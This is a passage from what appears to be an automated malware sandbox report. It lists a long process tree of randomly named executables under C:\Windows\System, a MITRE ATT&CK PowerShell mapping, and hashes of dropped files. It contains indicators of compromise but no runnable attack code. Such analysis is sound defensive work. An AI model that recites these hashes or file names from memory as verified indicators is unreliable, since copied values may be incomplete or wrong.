  C:\Windows\System\SGJYnhp.exe
  2⤵
  PID:8584
- C:\Windows\System\avJMUtA.exe
  C:\Windows\System\avJMUtA.exe
  2⤵
  PID:8604
- C:\Windows\System\kvkpeuz.exe
  C:\Windows\System\kvkpeuz.exe
  2⤵
  PID:8620
- C:\Windows\System\oxFKosi.exe
  C:\Windows\System\oxFKosi.exe
  2⤵
  PID:8636
- C:\Windows\System\IPGeaoP.exe
  C:\Windows\System\IPGeaoP.exe
  2⤵
  PID:8656
- C:\Windows\System\szblRZY.exe
  C:\Windows\System\szblRZY.exe
  2⤵
  PID:8672
- C:\Windows\System\sWXDxkp.exe
  C:\Windows\System\sWXDxkp.exe
  2⤵
  PID:8692
- C:\Windows\System\eiKyKLR.exe
  C:\Windows\System\eiKyKLR.exe
  2⤵
  PID:8708
- C:\Windows\System\WxgNOfm.exe
  C:\Windows\System\WxgNOfm.exe
  2⤵
  PID:8732
- C:\Windows\System\pcvpIoG.exe
  C:\Windows\System\pcvpIoG.exe
  2⤵
  PID:8752
- C:\Windows\System\ildbaYj.exe
  C:\Windows\System\ildbaYj.exe
  2⤵
  PID:8768
- C:\Windows\System\ewukRAS.exe
  C:\Windows\System\ewukRAS.exe
  2⤵
  PID:8784
- C:\Windows\System\thMSnvP.exe
  C:\Windows\System\thMSnvP.exe
  2⤵
  PID:8804
- C:\Windows\System\yKhUmEa.exe
  C:\Windows\System\yKhUmEa.exe
  2⤵
  PID:8820
- C:\Windows\System\oYoRNbZ.exe
  C:\Windows\System\oYoRNbZ.exe
  2⤵
  PID:8836
- C:\Windows\System\kEYxyrx.exe
  C:\Windows\System\kEYxyrx.exe
  2⤵
  PID:8852
- C:\Windows\System\iimOLtx.exe
  C:\Windows\System\iimOLtx.exe
  2⤵
  PID:8868
- C:\Windows\System\AceKEuX.exe
  C:\Windows\System\AceKEuX.exe
  2⤵
  PID:8888
- C:\Windows\System\ZjtatqL.exe
  C:\Windows\System\ZjtatqL.exe
  2⤵
  PID:8904
- C:\Windows\System\NHbAzuA.exe
  C:\Windows\System\NHbAzuA.exe
  2⤵
  PID:8932
- C:\Windows\System\CHnxHLd.exe
  C:\Windows\System\CHnxHLd.exe
  2⤵
  PID:8948
- C:\Windows\System\IkumgVs.exe
  C:\Windows\System\IkumgVs.exe
  2⤵
  PID:8964
- C:\Windows\System\tHGsquQ.exe
  C:\Windows\System\tHGsquQ.exe
  2⤵
  PID:8980
- C:\Windows\System\TyxZUWW.exe
  C:\Windows\System\TyxZUWW.exe
  2⤵
  PID:9000
- C:\Windows\System\YHUOZJv.exe
  C:\Windows\System\YHUOZJv.exe
  2⤵
  PID:9016
- C:\Windows\System\UkfBYoE.exe
  C:\Windows\System\UkfBYoE.exe
  2⤵
  PID:9032
- C:\Windows\System\JwLaGIS.exe
  C:\Windows\System\JwLaGIS.exe
  2⤵
  PID:9048
- C:\Windows\System\JIcTIgQ.exe
  C:\Windows\System\JIcTIgQ.exe
  2⤵
  PID:9068
- C:\Windows\System\rpolssl.exe
  C:\Windows\System\rpolssl.exe
  2⤵
  PID:9084
- C:\Windows\System\mHrfFgt.exe
  C:\Windows\System\mHrfFgt.exe
  2⤵
  PID:9100
- C:\Windows\System\SGXFiln.exe
  C:\Windows\System\SGXFiln.exe
  2⤵
  PID:9116
- C:\Windows\System\KziHYWj.exe
  C:\Windows\System\KziHYWj.exe
  2⤵
  PID:9136
- C:\Windows\System\whnxxno.exe
  C:\Windows\System\whnxxno.exe
  2⤵
  PID:9152
- C:\Windows\System\LuDEpxb.exe
  C:\Windows\System\LuDEpxb.exe
  2⤵
  PID:9172
- C:\Windows\System\cQjqQcL.exe
  C:\Windows\System\cQjqQcL.exe
  2⤵
  PID:9188
- C:\Windows\System\TAYHLje.exe
  C:\Windows\System\TAYHLje.exe
  2⤵
  PID:9204
- C:\Windows\System\OItfFGX.exe
  C:\Windows\System\OItfFGX.exe
  2⤵
  PID:7812
- C:\Windows\System\PBzxnGK.exe
  C:\Windows\System\PBzxnGK.exe
  2⤵
  PID:7560
- C:\Windows\System\HhaBJgk.exe
  C:\Windows\System\HhaBJgk.exe
  2⤵
  PID:7716
- C:\Windows\System\UiUpget.exe
  C:\Windows\System\UiUpget.exe
  2⤵
  PID:8224
- C:\Windows\System\wCWlKpc.exe
  C:\Windows\System\wCWlKpc.exe
  2⤵
  PID:8240
- C:\Windows\System\KhHWapX.exe
  C:\Windows\System\KhHWapX.exe
  2⤵
  PID:8292
- C:\Windows\System\hRtUUJt.exe
  C:\Windows\System\hRtUUJt.exe
  2⤵
  PID:8356
- C:\Windows\System\uUYhrnF.exe
  C:\Windows\System\uUYhrnF.exe
  2⤵
  PID:8276
- C:\Windows\System\ytjRcfF.exe
  C:\Windows\System\ytjRcfF.exe
  2⤵
  PID:8336
- C:\Windows\System\vpbwmmD.exe
  C:\Windows\System\vpbwmmD.exe
  2⤵
  PID:8408
- C:\Windows\System\AjStkJT.exe
  C:\Windows\System\AjStkJT.exe
  2⤵
  PID:8424
- C:\Windows\System\HmXcWlM.exe
  C:\Windows\System\HmXcWlM.exe
  2⤵
  PID:8440
- C:\Windows\System\fqYbHHW.exe
  C:\Windows\System\fqYbHHW.exe
  2⤵
  PID:8456
- C:\Windows\System\lJdrElB.exe
  C:\Windows\System\lJdrElB.exe
  2⤵
  PID:8476
- C:\Windows\System\LrTjaqc.exe
  C:\Windows\System\LrTjaqc.exe
  2⤵
  PID:8492
- C:\Windows\System\UeYBuCZ.exe
  C:\Windows\System\UeYBuCZ.exe
  2⤵
  PID:8508
- C:\Windows\System\GnHpoWx.exe
  C:\Windows\System\GnHpoWx.exe
  2⤵
  PID:8560
- C:\Windows\System\jsqNCLk.exe
  C:\Windows\System\jsqNCLk.exe
  2⤵
  PID:8548
- C:\Windows\System\KQJepLF.exe
  C:\Windows\System\KQJepLF.exe
  2⤵
  PID:8628
- C:\Windows\System\jaBCNAS.exe
  C:\Windows\System\jaBCNAS.exe
  2⤵
  PID:8612
- C:\Windows\System\FUCVMuo.exe
  C:\Windows\System\FUCVMuo.exe
  2⤵
  PID:8664
- C:\Windows\System\UmvFJhn.exe
  C:\Windows\System\UmvFJhn.exe
  2⤵
  PID:8688
- C:\Windows\System\okplzFJ.exe
  C:\Windows\System\okplzFJ.exe
  2⤵
  PID:8720
- C:\Windows\System\bmllUck.exe
  C:\Windows\System\bmllUck.exe
  2⤵
  PID:8776
- C:\Windows\System\kTXEKOF.exe
  C:\Windows\System\kTXEKOF.exe
  2⤵
  PID:8844
- C:\Windows\System\xoOmHzC.exe
  C:\Windows\System\xoOmHzC.exe
  2⤵
  PID:8884
- C:\Windows\System\OSScxDo.exe
  C:\Windows\System\OSScxDo.exe
  2⤵
  PID:8928
- C:\Windows\System\AwEaLeX.exe
  C:\Windows\System\AwEaLeX.exe
  2⤵
  PID:8796
- C:\Windows\System\MrekIew.exe
  C:\Windows\System\MrekIew.exe
  2⤵
  PID:8860
- C:\Windows\System\ucBBfgT.exe
  C:\Windows\System\ucBBfgT.exe
  2⤵
  PID:8920
- C:\Windows\System\MFCtQBg.exe
  C:\Windows\System\MFCtQBg.exe
  2⤵
  PID:8996
- C:\Windows\System\XZDlzoH.exe
  C:\Windows\System\XZDlzoH.exe
  2⤵
  PID:9040
- C:\Windows\System\KLPfJQc.exe
  C:\Windows\System\KLPfJQc.exe
  2⤵
  PID:8944
- C:\Windows\System\lLbWtGH.exe
  C:\Windows\System\lLbWtGH.exe
  2⤵
  PID:9060
- C:\Windows\System\BWvGttr.exe
  C:\Windows\System\BWvGttr.exe
  2⤵
  PID:9124
- C:\Windows\System\PfacppS.exe
  C:\Windows\System\PfacppS.exe
  2⤵
  PID:9164
- C:\Windows\System\OUbNNBt.exe
  C:\Windows\System\OUbNNBt.exe
  2⤵
  PID:7480
- C:\Windows\System\AiypSsX.exe
  C:\Windows\System\AiypSsX.exe
  2⤵
  PID:9076
- C:\Windows\System\plUkrAP.exe
  C:\Windows\System\plUkrAP.exe
  2⤵
  PID:8272
- C:\Windows\System\XkyBiYM.exe
  C:\Windows\System\XkyBiYM.exe
  2⤵
  PID:8432
- C:\Windows\System\EzbATYB.exe
  C:\Windows\System\EzbATYB.exe
  2⤵
  PID:8208
- C:\Windows\System\PjmxqlG.exe
  C:\Windows\System\PjmxqlG.exe
  2⤵
  PID:9180
- C:\Windows\System\PEWUOHi.exe
  C:\Windows\System\PEWUOHi.exe
  2⤵
  PID:8352
- C:\Windows\System\ZwdtZQe.exe
  C:\Windows\System\ZwdtZQe.exe
  2⤵
  PID:7784
- C:\Windows\System\nUhhTNX.exe
  C:\Windows\System\nUhhTNX.exe
  2⤵
  PID:8308
- C:\Windows\System\IIegATv.exe
  C:\Windows\System\IIegATv.exe
  2⤵
  PID:8452
- C:\Windows\System\VyLtPMI.exe
  C:\Windows\System\VyLtPMI.exe
  2⤵
  PID:8500
- C:\Windows\System\ljSBoZD.exe
  C:\Windows\System\ljSBoZD.exe
  2⤵
  PID:8644
- C:\Windows\System\SyNfAEs.exe
  C:\Windows\System\SyNfAEs.exe
  2⤵
  PID:8740
- C:\Windows\System\QLsRPDa.exe
  C:\Windows\System\QLsRPDa.exe
  2⤵
  PID:8764
- C:\Windows\System\oAMVtjg.exe
  C:\Windows\System\oAMVtjg.exe
  2⤵
  PID:8528
- C:\Windows\System\XuDQWBp.exe
  C:\Windows\System\XuDQWBp.exe
  2⤵
  PID:8648
- C:\Windows\System\bMpZckR.exe
  C:\Windows\System\bMpZckR.exe
  2⤵
  PID:8816
- C:\Windows\System\jRdVShY.exe
  C:\Windows\System\jRdVShY.exe
  2⤵
  PID:8924
- C:\Windows\System\gcwVqqe.exe
  C:\Windows\System\gcwVqqe.exe
  2⤵
  PID:8940
- C:\Windows\System\kiCfFsQ.exe
  C:\Windows\System\kiCfFsQ.exe
  2⤵
  PID:8972
- C:\Windows\System\teFhPDd.exe
  C:\Windows\System\teFhPDd.exe
  2⤵
  PID:9160
- C:\Windows\System\lqtcfqG.exe
  C:\Windows\System\lqtcfqG.exe
  2⤵
  PID:8404
- C:\Windows\System\uZRltDx.exe
  C:\Windows\System\uZRltDx.exe
  2⤵
  PID:7952
- C:\Windows\System\LHGxLmc.exe
  C:\Windows\System\LHGxLmc.exe
  2⤵
  PID:8544
- C:\Windows\System\hWyyScZ.exe
  C:\Windows\System\hWyyScZ.exe
  2⤵
  PID:9196
- C:\Windows\System\yqsVLVh.exe
  C:\Windows\System\yqsVLVh.exe
  2⤵
  PID:8880
- C:\Windows\System\yNmxVKy.exe
  C:\Windows\System\yNmxVKy.exe
  2⤵
  PID:8464
- C:\Windows\System\HNdfEGs.exe
  C:\Windows\System\HNdfEGs.exe
  2⤵
  PID:9080
- C:\Windows\System\HHevquZ.exe
  C:\Windows\System\HHevquZ.exe
  2⤵
  PID:8896
- C:\Windows\System\QhlGntV.exe
  C:\Windows\System\QhlGntV.exe
  2⤵
  PID:8748
- C:\Windows\System\HtzHcew.exe
  C:\Windows\System\HtzHcew.exe
  2⤵
  PID:8744
- C:\Windows\System\FjSXjlB.exe
  C:\Windows\System\FjSXjlB.exe
  2⤵
  PID:9132
- C:\Windows\System\FfYnfts.exe
  C:\Windows\System\FfYnfts.exe
  2⤵
  PID:8828
- C:\Windows\System\qKtcroc.exe
  C:\Windows\System\qKtcroc.exe
  2⤵
  PID:8576
- C:\Windows\System\pyTTWnB.exe
  C:\Windows\System\pyTTWnB.exe
  2⤵
  PID:8288
- C:\Windows\System\OwpeoMo.exe
  C:\Windows\System\OwpeoMo.exe
  2⤵
  PID:8484
- C:\Windows\System\dHpIcee.exe
  C:\Windows\System\dHpIcee.exe
  2⤵
  PID:8684
- C:\Windows\System\CgokJnz.exe
  C:\Windows\System\CgokJnz.exe
  2⤵
  PID:8600
- C:\Windows\System\MhzGjIo.exe
  C:\Windows\System\MhzGjIo.exe
  2⤵
  PID:8700
- C:\Windows\System\WNVLnpG.exe
  C:\Windows\System\WNVLnpG.exe
  2⤵
  PID:9012
- C:\Windows\System\CcInHzW.exe
  C:\Windows\System\CcInHzW.exe
  2⤵
  PID:9232
- C:\Windows\System\wQSdfew.exe
  C:\Windows\System\wQSdfew.exe
  2⤵
  PID:9248
- C:\Windows\System\FYJEzHL.exe
  C:\Windows\System\FYJEzHL.exe
  2⤵
  PID:9264
- C:\Windows\System\RQujUHT.exe
  C:\Windows\System\RQujUHT.exe
  2⤵
  PID:9280
- C:\Windows\System\FUNqrfZ.exe
  C:\Windows\System\FUNqrfZ.exe
  2⤵
  PID:9296
- C:\Windows\System\snjxSgS.exe
  C:\Windows\System\snjxSgS.exe
  2⤵
  PID:9312
- C:\Windows\System\YJcfnEb.exe
  C:\Windows\System\YJcfnEb.exe
  2⤵
  PID:9328
- C:\Windows\System\bntOvBp.exe
  C:\Windows\System\bntOvBp.exe
  2⤵
  PID:9344
- C:\Windows\System\GznCAHH.exe
  C:\Windows\System\GznCAHH.exe
  2⤵
  PID:9360
- C:\Windows\System\Mgovmog.exe
  C:\Windows\System\Mgovmog.exe
  2⤵
  PID:9376
- C:\Windows\System\CJtRMRs.exe
  C:\Windows\System\CJtRMRs.exe
  2⤵
  PID:9392
- C:\Windows\System\VrgUhAC.exe
  C:\Windows\System\VrgUhAC.exe
  2⤵
  PID:9408
- C:\Windows\System\mRSFFXx.exe
  C:\Windows\System\mRSFFXx.exe
  2⤵
  PID:9424
- C:\Windows\System\OJEOYdw.exe
  C:\Windows\System\OJEOYdw.exe
  2⤵
  PID:9440
- C:\Windows\System\HXUzWMi.exe
  C:\Windows\System\HXUzWMi.exe
  2⤵
  PID:9456
- C:\Windows\System\jThwtxB.exe
  C:\Windows\System\jThwtxB.exe
  2⤵
  PID:9472
- C:\Windows\System\QACBpcs.exe
  C:\Windows\System\QACBpcs.exe
  2⤵
  PID:9488
- C:\Windows\System\jcgjudM.exe
  C:\Windows\System\jcgjudM.exe
  2⤵
  PID:9504
- C:\Windows\System\VFNzDvk.exe
  C:\Windows\System\VFNzDvk.exe
  2⤵
  PID:9520
- C:\Windows\System\bIXvdCh.exe
  C:\Windows\System\bIXvdCh.exe
  2⤵
  PID:9536
- C:\Windows\System\kotqhUc.exe
  C:\Windows\System\kotqhUc.exe
  2⤵
  PID:9552
- C:\Windows\System\zvLtqeu.exe
  C:\Windows\System\zvLtqeu.exe
  2⤵
  PID:9568
- C:\Windows\System\INqskDl.exe
  C:\Windows\System\INqskDl.exe
  2⤵
  PID:9584
- C:\Windows\System\ENnbYKW.exe
  C:\Windows\System\ENnbYKW.exe
  2⤵
  PID:9600
- C:\Windows\System\Hzsgrht.exe
  C:\Windows\System\Hzsgrht.exe
  2⤵
  PID:9616
- C:\Windows\System\FArpFyF.exe
  C:\Windows\System\FArpFyF.exe
  2⤵
  PID:9632
- C:\Windows\System\AToEGES.exe
  C:\Windows\System\AToEGES.exe
  2⤵
  PID:9648
- C:\Windows\System\GstlrmS.exe
  C:\Windows\System\GstlrmS.exe
  2⤵
  PID:9664
- C:\Windows\System\ninxIoF.exe
  C:\Windows\System\ninxIoF.exe
  2⤵
  PID:9680
- C:\Windows\System\wkMQzVw.exe
  C:\Windows\System\wkMQzVw.exe
  2⤵
  PID:9696
- C:\Windows\System\LXGLLNk.exe
  C:\Windows\System\LXGLLNk.exe
  2⤵
  PID:9712
- C:\Windows\System\OOzXlXW.exe
  C:\Windows\System\OOzXlXW.exe
  2⤵
  PID:9728
- C:\Windows\System\NOSsmid.exe
  C:\Windows\System\NOSsmid.exe
  2⤵
  PID:9744
- C:\Windows\System\yCIaDFf.exe
  C:\Windows\System\yCIaDFf.exe
  2⤵
  PID:9760
- C:\Windows\System\pWRVOUs.exe
  C:\Windows\System\pWRVOUs.exe
  2⤵
  PID:9776
- C:\Windows\System\HWTdUBK.exe
  C:\Windows\System\HWTdUBK.exe
  2⤵
  PID:9792
- C:\Windows\System\CugeyMV.exe
  C:\Windows\System\CugeyMV.exe
  2⤵
  PID:9808
- C:\Windows\System\xyjhElI.exe
  C:\Windows\System\xyjhElI.exe
  2⤵
  PID:9824
- C:\Windows\System\ZZpnToY.exe
  C:\Windows\System\ZZpnToY.exe
  2⤵
  PID:9840
- C:\Windows\System\boGplQo.exe
  C:\Windows\System\boGplQo.exe
  2⤵
  PID:9856
- C:\Windows\System\MtdJCLI.exe
  C:\Windows\System\MtdJCLI.exe
  2⤵
  PID:9872
- C:\Windows\System\fsxNMDx.exe
  C:\Windows\System\fsxNMDx.exe
  2⤵
  PID:9888
- C:\Windows\System\SJLyQcL.exe
  C:\Windows\System\SJLyQcL.exe
  2⤵
  PID:9904
- C:\Windows\System\KieutUQ.exe
  C:\Windows\System\KieutUQ.exe
  2⤵
  PID:9920
- C:\Windows\System\nVvDgZA.exe
  C:\Windows\System\nVvDgZA.exe
  2⤵
  PID:9940
- C:\Windows\System\MaEIHDC.exe
  C:\Windows\System\MaEIHDC.exe
  2⤵
  PID:9956
- C:\Windows\System\IAuecvI.exe
  C:\Windows\System\IAuecvI.exe
  2⤵
  PID:9972
- C:\Windows\System\oFAOccr.exe
  C:\Windows\System\oFAOccr.exe
  2⤵
  PID:9992
- C:\Windows\System\MKbeSWT.exe
  C:\Windows\System\MKbeSWT.exe
  2⤵
  PID:10016
- C:\Windows\System\CiUSGHI.exe
  C:\Windows\System\CiUSGHI.exe
  2⤵
  PID:10040
- C:\Windows\System\EjZqDTv.exe
  C:\Windows\System\EjZqDTv.exe
  2⤵
  PID:10060
- C:\Windows\System\syxQUKG.exe
  C:\Windows\System\syxQUKG.exe
  2⤵
  PID:10076
- C:\Windows\System\fnoVhhy.exe
  C:\Windows\System\fnoVhhy.exe
  2⤵
  PID:10092
- C:\Windows\System\pWsDGOb.exe
  C:\Windows\System\pWsDGOb.exe
  2⤵
  PID:10108
- C:\Windows\System\AEwBrpx.exe
  C:\Windows\System\AEwBrpx.exe
  2⤵
  PID:10132
- C:\Windows\System\ZyIAkAU.exe
  C:\Windows\System\ZyIAkAU.exe
  2⤵
  PID:10156
- C:\Windows\System\sQFJLrM.exe
  C:\Windows\System\sQFJLrM.exe
  2⤵
  PID:10192
- C:\Windows\System\cBaCPkO.exe
  C:\Windows\System\cBaCPkO.exe
  2⤵
  PID:10208
- C:\Windows\System\sFpPVEs.exe
  C:\Windows\System\sFpPVEs.exe
  2⤵
  PID:10224
- C:\Windows\System\gwxilit.exe
  C:\Windows\System\gwxilit.exe
  2⤵
  PID:9056
- C:\Windows\System\fbDqKQq.exe
  C:\Windows\System\fbDqKQq.exe
  2⤵
  PID:9240
- C:\Windows\System\hgiyJKD.exe
  C:\Windows\System\hgiyJKD.exe
  2⤵
  PID:9304
- C:\Windows\System\AxfXlUu.exe
  C:\Windows\System\AxfXlUu.exe
  2⤵
  PID:9368
- C:\Windows\System\txcpKQU.exe
  C:\Windows\System\txcpKQU.exe
  2⤵
  PID:9432
- C:\Windows\System\bxzeqxe.exe
  C:\Windows\System\bxzeqxe.exe
  2⤵
  PID:9260
- C:\Windows\System\wmtLbdW.exe
  C:\Windows\System\wmtLbdW.exe
  2⤵
  PID:8812
- C:\Windows\System\vzLEZfs.exe
  C:\Windows\System\vzLEZfs.exe
  2⤵
  PID:9256
- C:\Windows\System\TMWmyxe.exe
  C:\Windows\System\TMWmyxe.exe
  2⤵
  PID:9324
- C:\Windows\System\aGwpdCc.exe
  C:\Windows\System\aGwpdCc.exe
  2⤵
  PID:9388
- C:\Windows\System\YksucXT.exe
  C:\Windows\System\YksucXT.exe
  2⤵
  PID:9452
- C:\Windows\System\odWkRnK.exe
  C:\Windows\System\odWkRnK.exe
  2⤵
  PID:9500
- C:\Windows\System\aViUnuC.exe
  C:\Windows\System\aViUnuC.exe
  2⤵
  PID:9596
- C:\Windows\System\LhiMNhu.exe
  C:\Windows\System\LhiMNhu.exe
  2⤵
  PID:9608
- C:\Windows\System\lJrhmZB.exe
  C:\Windows\System\lJrhmZB.exe
  2⤵
  PID:9656
- C:\Windows\System\sXNjTbF.exe
  C:\Windows\System\sXNjTbF.exe
  2⤵
  PID:9720
- C:\Windows\System\djiYQJZ.exe
  C:\Windows\System\djiYQJZ.exe
  2⤵
  PID:9784
- C:\Windows\System\csvbCWf.exe
  C:\Windows\System\csvbCWf.exe
  2⤵
  PID:9848

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\system\AeiUTjQ.exe

Filesize
1.6MB

MD5
044888206f3025247ca0bb070c82613e

SHA1
725ef5462ec0b7aa18a3c40e35189529177f04fe

SHA256
23191ec36f10b9524764ed026dc80ac0ac46b32fc567559dbb95e7105f2db524

SHA512
8c8c2e8d0951e2ed0e15fd78ae8d5fafbfa26bf2db4827396fb0472956eace956cd55f262b59456a88b8be18f542feb44c6c71ca15dd4a5bcc2f702454f8d747

Download Submit
C:\Windows\system\CTpJDje.exe

Filesize
1.6MB

MD5
8723b9dce8f6162b0107900f1a95170e

SHA1
78d42f45116edd895394210cfeef8ab31dcd8ce9

SHA256
e314b7d8534c0ae8eeb895b29b96fcb2e69feaf0a5d2746d7d23ccc6e1518bb1

SHA512
446980e2413c5f482f67d40b5fb57f56d13fe36eec00a1f046af792d58369a2625b9db23930dbc1aaed16838e8a02d40417d4153344b170cde709d77be99693c

Download Submit
C:\Windows\system\JoFcbJS.exe

Filesize
1.6MB

MD5
218bc1b58157964fdc6e6e36175c5607

SHA1
4f20d4fcbb0dbd1e901f7af35ec2b7e92c4571a9

SHA256
19121e31577bb4c3db5dc7cb6f639787009e9afa36acb9accce203c30b8c3f41

SHA512
547f52f4fca2c8a6d117493033e546ccb06925bf89258c195d99649339a7bd682053c97fc0b6d8feec63726f8c5472c59f4e4bc2dda7d367e2598f17acf68c8f

Download Submit
C:\Windows\system\JpukgRv.exe

Filesize
1.6MB

MD5
ffb95147242dad4723917f5a9bbe8f8d

SHA1
0cb23979987e6bb90d2c91b8b41aa629a0f71b7e

SHA256
61294efaa84688d0705dff4ca3bfc935dd2d1fc228e34ff22c9ba2d85cbbbac6

SHA512
02ab90acc67ce878197d8edc93b1ff85492c3e357a1ac0c03e3830ea9e95ef582170e31cd0b2cee423eea4b50157d4b8afff7709d4b6d29bd2b7eccd4c2c8af8

Download Submit
C:\Windows\system\NeJSfFh.exe

Filesize
1.6MB

MD5
c3f77a3bc543d27488a3c7396dbb3679

SHA1
a1593c50f1f3cbedf2240d2c073e3c5e17ba297d

SHA256
61a828e728d53153e0a0d4b4db5f633cfbc3493120a20cdfe053cc3a24518f75

SHA512
1e92314e76ec18ea1115dc49c5bad9307498af41cc73c126cbff53a864cc4e2ccd2f40350801b35050f5f1818086a6d8ceb8760588361e258950b169160147b0

Download Submit
C:\Windows\system\OCfEDVC.exe

Filesize
1.6MB

MD5
200f5332cd75a68ed1b9e498fb631b93

SHA1
bd36504eb3e67df5139a78b6b3b4ee9f007b8971

SHA256
10408d21049beda0c5e40d503205912a63cbdb05af5edd9092d6592338423a9e

SHA512
733312bec9ded6a12cfdb998f52a29ffbcc9394f228f608742b96b451c40e3006ae51f1351201c3b36696f8982c11356a75d01b51dc35398d60a56685ea371dd

Download Submit
C:\Windows\system\PgLwlKf.exe

Filesize
1.6MB

MD5
627499ab3b56238ec889e42902103db7

SHA1
e569f2c1d5fa2526f78ab347c58ed52a1adb06cf

SHA256
80f6c97502e67fc51f44be5208ce981de74a4577f76bc47b6aed68debb516620

SHA512
3794ae1eba558b398822fb8bda3e9e0716a2e6368a692e57f7efe801999d2f69d25927518251ba83cb6b94a36e2ca9f57b2a46040277cfff0ccc3be00067f1a0

Download Submit
C:\Windows\system\RpNfHDp.exe

Filesize
1.6MB

MD5
5c4ec421657ad34faa2c01df6768d48f

SHA1
25c1c3fc280c47ba080548d915c177c4bd7bf7eb

SHA256
4e2dc97e0d00257faa0e3f8d923f1eb286364eb477370c2ed3be1a8c20542061

SHA512
293c9498d0ab33c07556113629e2197290e21f309ebe75fc4211755d8927b2ae6ae00b5bd689d505d8dfa1534f62c534b8a0af24c0b82fc6932b5c47f7435c7d

Download Submit
C:\Windows\system\TdVGrZp.exe

Filesize
1.6MB

MD5
b29899de6c718c8fec5263b518a67635

SHA1
7146f8af8396fa035ba5fd4b24ba6c745f9ead3d

SHA256
ed171cdb6d7acdb55d5a851dd5ff8f10e1cdd92d4951608c5580f9127f7a4994

SHA512
097174507d149ab60f6b5c3adab931d91f1749c48cd8e2eeed52d94b98f926394f8d24cce90ffaa0d0168611538355b17b2f25b1fd36a47801fc587fcae033de

Download Submit
C:\Windows\system\VQdKugd.exe

Filesize
1.6MB

MD5
469614b4e8a21cf4e44533ad37a82c85

SHA1
bff84eda0459319e717476fdec0ae4cac00ad8c0

SHA256
6451bb5661be2b8ddb509943deed08e0e11c70460287fd488f2083edf1e7f0c2

SHA512
0dfa44274a780b1c5b7a8998214e4b78196596f050f37870700fe03229e14b8d38e251827beadc8b8a59c8803501bf72a129f979ca02f64ade96d213cbdabd48

Download Submit
C:\Windows\system\bMewyot.exe

Filesize
18B

MD5
d4c53945d0b50cca8ee3c39950f75a96

SHA1
b80a0451cdd1f089663f9ee7b74d1e73ad057fdf

SHA256
c14bc0d583a2e28b394647d06f8fa7c0ff4cba50b7739e8641ff8669f7856a43

SHA512
298bc37c5e19145fc001cebfa843e38909335e86d2dcf1fd6f1a57c9dd72abb4d7c4e4ca9f9b743b79fd750b428a6154b00b7c45d2e633fde4a9fab32fec45b0

Download Submit
C:\Windows\system\bpKeELJ.exe

Filesize
1.6MB

MD5
84ac8aaf05682e49b5b9632bea88b64d

SHA1
7cf1f605ffc4105706d980ed705b3e893555c3b4

SHA256
e41b78df5b0eb5809c1a347826f0b26429673ee06779b0d49f1578000491a280

SHA512
3530291e06df6524e459c1c08b944cb27b21c5f4b912dedaba4ad53d776eb6fb211ccc7fc511dcde6920ead809d80f15169fe76fb356b1790cfcc8cbce8ae242

Download Submit
C:\Windows\system\fNEgRDJ.exe

Filesize
1.6MB

MD5
f486f7643155dd342f3c842804bb4399

SHA1
ea83438e652376344747fa2b057b8d1722f5b48a

SHA256
ac57254d53a13c30fb7372bb34abcf122c812b958e5b4b0a17bd6e0e1e4fb481

SHA512
997ae917067d0aceeb34e826de1f7e12a00b00dcb9b23e3f43990de9bd40fa191040532886c49ffd0400e4ec472a4083bc34b3a0b315366e09eb92e1b64d1069

Download Submit
C:\Windows\system\fttJJyW.exe

Filesize
1.6MB

MD5
dc28cc4c9c7a9fb9715f9c4bae64c263

SHA1
c889900f643bb606326b9d2b7512da7e2c17bf1e

SHA256
49bb0042831db0b7a3710da7520094308788714ca656e7912a64bcb952a07a9f

SHA512
475e7cb3c4d261f5ed18b5f1f42e29cea2811e8250759e6a1fc6bb2562ac229bddc71c5b5e2944ad38351c7fafeaa626ef497d21cb5e4b1035718d42e38063fa

Download Submit
C:\Windows\system\gEZjuSc.exe

Filesize
1.6MB

MD5
3915eb7a64400f3030c65475032c94e9

SHA1
0b3cb8a225064d0f4fd4eddc225eaf17b1e60477

SHA256
ebf200c6d94d6f442dccf1b651f485bab17340104950a23030d1c4a70a0dcaf4

SHA512
037c66dc594ea51e6101f1e5552b43eef3ba9adaded026339b8bfbe99a38ae81123cbe1977b3deabf50ff99b310184461c33d959718e0907e215741401a4f0e9

Download Submit
C:\Windows\system\gFNATgk.exe

Filesize
1.6MB

MD5
1ee5e45eb8185d65994a248ba0838c24

SHA1
25408f015d55e90794c7082f4a1b2e0c5512a1ec

SHA256
7cbd38f661c07d506634a3f47ecfd6d4d89848b9eb42a274b006cc3bafe799c8

SHA512
51470bc03640ecf818e83959461df4212e5a82e60326ed66b21e1501933005ffbf79e437017ad94ccae0fd97399a62cc9ad8287da9deda248fed1c3bc570837c

Download Submit
C:\Windows\system\iJYXteg.exe

Filesize
1.6MB

MD5
a75cc1dd7879836cce94862ffe5e9332

SHA1
b39c1eef7399e6f73ac6f3e7a45051ff1cb4061b

SHA256
96ad6e201aeea6be8d396a741f46c29855b43c4afb710b212fc5b89ca7d51635

SHA512
4c84d0d718c19d35e6cae94377d12ffa9d162a1c078fae55904dc19e40c47c098c2710eac9b6e5405247f01e3160ac658e871d8b1c8624d5c5dab210d8f7cb61

Download Submit
C:\Windows\system\jpcZwYM.exe

Filesize
1.6MB

MD5
161c4c8a9912a663f664a2b3494d6e86

SHA1
28e57dad7bf3cb48bebebfae7d809a78c840edab

SHA256
e1f4b31f6bd9455e369daf13a8c2bc379a339f0bc7358d78e03b27a7ca4b2808

SHA512
9cd24af85e6b2ce894ece4660b692ebe618b5f1f58b6f1c1a3cce8f07e568bace530435fe7cac0b6ea33e600e42afd7898073ec86953c2b79748b652c864a883

Download Submit
C:\Windows\system\kfOjvgj.exe

Filesize
1.6MB

MD5
285d535cfe988a16bcdcb3729128ca0b

SHA1
64dce8b624abbf02343626b021c24926cbb24b49

SHA256
675dfe3515c90b6e6674a8a67a7c7389dfcccf2aa9941652071fd3be9ca75732

SHA512
955712ed3bdf080d138d9f7aecab6da2342e8499ee73c9b8391bca1f8371830f5c03cdaac95a37a10b319931e92ebfd7edce682eb8847429f97e181a69875256

Download Submit
C:\Windows\system\nyIkwxo.exe

Filesize
1.6MB

MD5
22a150f55292a333da3b46192f8c7f38

SHA1
69b39146d72daa24d5133d07049c4ce2d74612d4

SHA256
5c08374805f179b6a846c61b1d2f39f25f51c3bf53a6f4f47b512c6adcbe8d0e

SHA512
